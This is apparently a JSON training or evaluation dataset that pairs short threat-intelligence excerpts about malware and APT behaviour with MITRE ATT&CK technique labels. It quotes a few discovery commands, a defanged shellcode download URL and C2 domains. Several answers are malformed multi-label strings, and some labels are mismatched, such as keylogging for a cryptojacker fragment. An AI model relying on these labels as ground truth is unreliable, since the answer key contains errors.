        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. BRONZE BUTLER has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly dropped and executed SecretsDump, a tool that dumps password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stores configuration values under the Registry key HKCU\\Software\\Microsoft\\[dllname] and modifies Registry keys under HKCR\\CLSID\\...\\InprocServer32with a path to the launcher."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali has been delivered as malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These digital certificates are often issued in the name of rogue and legitimate companies to avoid arousing suspicion from researchers and incident responders"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has used Registry run keys to establish persistence for the RTM Trojan and other tools, such as a modified version of TeamViewer remote desktop software."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can use TCP to communicate with command and control servers."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy can collect keyboard events."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux can attempt to find a new C2 server if it receives an error."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has used an encrypted protocol within TCP segments to communicate with the C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Patchwork payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can communicate over a reverse proxy using SOCKS5."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "23 Take screenshot, temporarily store it as TPX499.dat, and upload it to the C2"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This command will attempt to download and execute a remote file via the Microsoft Windows built-in certutil utility. More information on this technique and the CARROTBAT malware family may be found within the Appendix"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands \"net group Exchange Trusted Subsystem /domain\" and \"net group domain admins /domain\"."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The stage’s 0x102 resource is parsed and the files are dropped in either %ProgramFiles% or %AppData% in the randomly chosen folder. The creation times are changed to have the same values as kernel32.dll"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Later in the execution chain, the SeLoadDriverPrivilege is used to load the extracted driver. Then one of the four drivers is dropped, after which the Volume Shadow Copy (VSS) service – which allows backups to be performed – is stopped"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used regsvr32.exe to execute scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The MSIL file contains the packed core payload in its .Net resource section"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following data collection, FIN6 has compressed log files into a ZIP archive prior to staging and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has had null characters padded in its malicious DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can use encrypted string blocks for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver collects the victim's IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spear phishing, including the use of probably compromised email accounts. Lure documents using CVE-2017-11882 to drop malware. Stolen code signing certificates used to sign malware. Use of bitsadmin.exe to download additional tools. Use of PowerShell to download additional tools. Using C:\\Windows\\Debug and C:\\Perflogs as staging directories. Using Windows Management Instrumentation (WMI) for persistence. Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence. Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe is capable of executing commands via cmd."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[.]107/rss/5uzosoff0u.iaf"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1027 - Obfuscated Files or Information', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can use HTTPS for communication with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication"
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A FinFisher variant uses DLL search order hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can decode its encoded PE file prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Those files are then uploaded via unencrypted HTTP, one after another. Examining the network packets showed that they contained a string with two pieces of information: a file path and a random string of characters"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploited Vulnerabilities: Frequent exploitation of vulnerabilities in Hangul Word Processor (HWP), as well as Adobe Flash"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Panda Stealer is deployed through spam emails posing as business quote requests to lure unwary victims into opening malicious Excel files. We have identified two infection chains: in one, an .XLSM attachment contains macros that download a loader (Figure 1). Then, the loader downloads and executes the main stealer. "
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1137.001 - Office Application Startup: Office Template Macros."
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DropBook can download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has many names in the information security industry — it is also known as Snake, Venomous Bear, Uroburos and WhiteBear. Turla likes to use compromised web servers and hijacked satellite connections for their command and control (C2) infrastructure. Instead, they use a compromised system inside the targeted network as a proxy, which forwards the traffic to the real C2 server. Well-known malware like Crutch or Kazuar are attributed to Turla. Lately, we have also seen research that has shown potential links between the Sunburst backdoor and Turla. Not every campaign run by Turla can clearly be attributed to them"
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot collects a list of install programs and services on the system’s machine."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used the BITS protocol to exfiltrate stolen data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type has used Windows API calls, including `NetUserAdd` and `NetUserDel`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has obtained and used tools such as Putty, SNScan, and PsExec for its operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One for 32-bit and the other for 64-bit, which download an updated version of the loader. The main difference between the two loops is that in case of a Windows x64 infection, there is no check of the loader’s version"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis has the ability to create and execute commands in a remote shell for CLI."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has accessed files to gain valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used MsiExec.exe to automatically execute files."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PsExec has the ability to remotely create accounts on target systems."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The process identifiers or PIDs to be hidden are stored in the shared memory \"Global\\&lt;computer_name&gt;.\" If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode. In this case, the intention of the malicious code is to hide Waterbear’s backdoor activities from the security product. Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode"
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD SOUTHFIELD has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WinMM sets a WH_CBT Windows hook to search for and capture files on the victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has exfiltrated victim information using FTP."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UPPERCUT uses cmd.exe to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 utilizes guardrails to restrict execution and abused utilities that allow indirect command execution that can go past security restrictions"
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto has the capability to use \"rm -rf\" to remove folders and files from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used a tool to run `cmd /c wmic computersystem get domain` for discovery."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of the threat actor’s indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) indicates a correlation with the group known by the names, Pioneer Kitten and UNC757. This threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. This threat actor used these vulnerabilities to gain initial access to targeted networks and then maintained access within the successfully exploited networks for several months using multiple means of persistence"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Brave Prince variants have used South  Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious has the ability to use Visual Basic scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has used SSL to connect to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "txt,log} and is also a \"cryptojacker,\" which is a tool that uses a victim’s computer to mine cryptocurrency"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging', 'T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can retrieve and execute additional PowerShell payloads from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used mofcomp.exe to establish WMI Event Subscription persistence mechanisms configured from a *.mof file."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WMIC is a good tool for managing windows hosts and is widely favored by desktop administrators"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. It then executes GetNumberOfMethods and saves the result obtained by the module. This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ducktail has now replaced the older NET Core information-stealing malware used in previous campaigns with one written in PHP."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer uses a custom port scanner to map out a network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter harvests credentials from Local Security Authority Subsystem Service (LSASS) memory using procmon."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
